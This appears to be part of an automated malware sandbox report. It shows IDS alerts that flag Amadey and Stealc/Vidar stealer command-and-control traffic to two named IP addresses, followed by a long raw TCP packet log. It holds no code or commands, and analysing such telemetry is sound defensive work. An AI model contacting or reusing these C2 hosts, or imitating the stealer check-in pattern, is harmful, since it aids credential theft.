Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-12:21:23.717963	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	55236	80	192.168.2.7	77.91.77.82
07/02/24-12:21:28.067233	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	55236	77.91.77.82	192.168.2.7
07/02/24-12:20:56.592521	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49699	85.28.47.4	192.168.2.7
07/02/24-12:20:55.506727	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49699	80	192.168.2.7	85.28.47.4
07/02/24-12:20:56.229201	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49699	80	192.168.2.7	85.28.47.4
07/02/24-12:20:56.407556	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49699	85.28.47.4	192.168.2.7
07/02/24-12:20:56.409542	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49699	80	192.168.2.7	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 12:20:55.500813007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:55.505911112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:55.506005049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:55.506726980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:55.511476040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.150448084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.150501013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.229201078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.234569073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.407556057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.407591105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.407628059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.407658100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.409542084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.414419889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592520952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592540026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592550993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592561960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592582941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.592611074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.592674017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.592710018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.594327927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.599082947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.772356987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.772453070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.801707029 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.801745892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:56.807221889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.807239056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.807250023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.807262897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.807296038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:56.807478905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.541821003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.541949987 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.768922091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.774085999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945884943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945907116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945921898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945934057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945965052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.945976973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946067095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946080923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946085930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946085930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946085930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946135044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946135044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946734905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946779013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946789026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946801901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946836948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:57.946887970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946898937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:57.946954966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.028012991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028044939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028058052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028070927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028068066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.028084993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028099060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.028125048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.028270006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028316975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.028330088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.028367996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034647942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.034688950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.034707069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034712076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.034727097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.034732103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034746885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034746885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.034766912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034789085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.034965992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035015106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035018921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035033941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035054922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035077095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035088062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035101891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035124063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035145044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035855055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035870075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035890102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035911083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035931110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035936117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035947084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.035965919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.035990953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.036714077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.036746979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.036761045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.036761999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.036778927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.036799908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.116010904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116064072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116080046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116103888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116118908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116136074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.116261005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.117079020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117093086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117105961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117142916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.117168903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.117219925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117233038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117245913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.117264032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.117291927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118530989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118571043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118583918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118591070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118607044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118629932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118750095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118763924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118777990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118796110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.118798018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118830919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.118854046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.124946117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.124972105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.124984026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.124994040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125005007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125016928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125020027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125061035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125228882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125269890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125288963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125303030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125328064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125344038 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125426054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125463963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125617981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125658989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125669956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125684977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125706911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125724077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125812054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125824928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125838995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.125850916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.125874996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.126492977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126519918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126532078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126542091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.126571894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.126615047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126627922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126641989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.126662016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.126678944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.127346992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.127372980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.127384901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.127392054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.127409935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.127422094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.127427101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.127437115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.127473116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200072050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200099945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200112104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200122118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200134039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200143099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200156927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200179100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200198889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200357914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200370073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200406075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200417995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200432062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200453997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200463057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.200469971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.200495958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205660105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205704927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205718040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205730915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205760002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205765009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205773115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205785036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205795050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205797911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205821037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205852032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.205868006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.205904007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206053019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206093073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206120968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206135035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206154108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206168890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206176043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206202984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206568003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206581116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206594944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206615925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206646919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206671000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206685066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206698895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206705093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206712008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206727028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206744909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206762075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.206777096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.206815958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.207416058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.207468033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.213835001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213876963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213890076 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213907957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.213912964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213923931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213937044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213937998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.213949919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.213963985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.213990927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214041948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214063883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214082003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214107037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214240074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214277983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214283943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214297056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214315891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214337111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214365005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214400053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214680910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214725971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214729071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214740992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214761019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214782000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214839935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214853048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214864969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214876890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214879990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214896917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214927912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.214970112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.214984894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215004921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215027094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215666056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215717077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215718031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215730906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215758085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215770960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215827942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215846062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215858936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215868950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215873003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215887070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215907097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.215945959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215960026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.215979099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.216006994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.216945887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.216979027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.216991901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.216999054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217017889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217036963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217082977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217096090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217108965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217113972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217125893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217139006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217154026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217170954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217242002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217256069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217279911 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217299938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217674017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217688084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217701912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.217716932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.217739105 CEST	49699	80	192.168.2.7	85.28.47.4
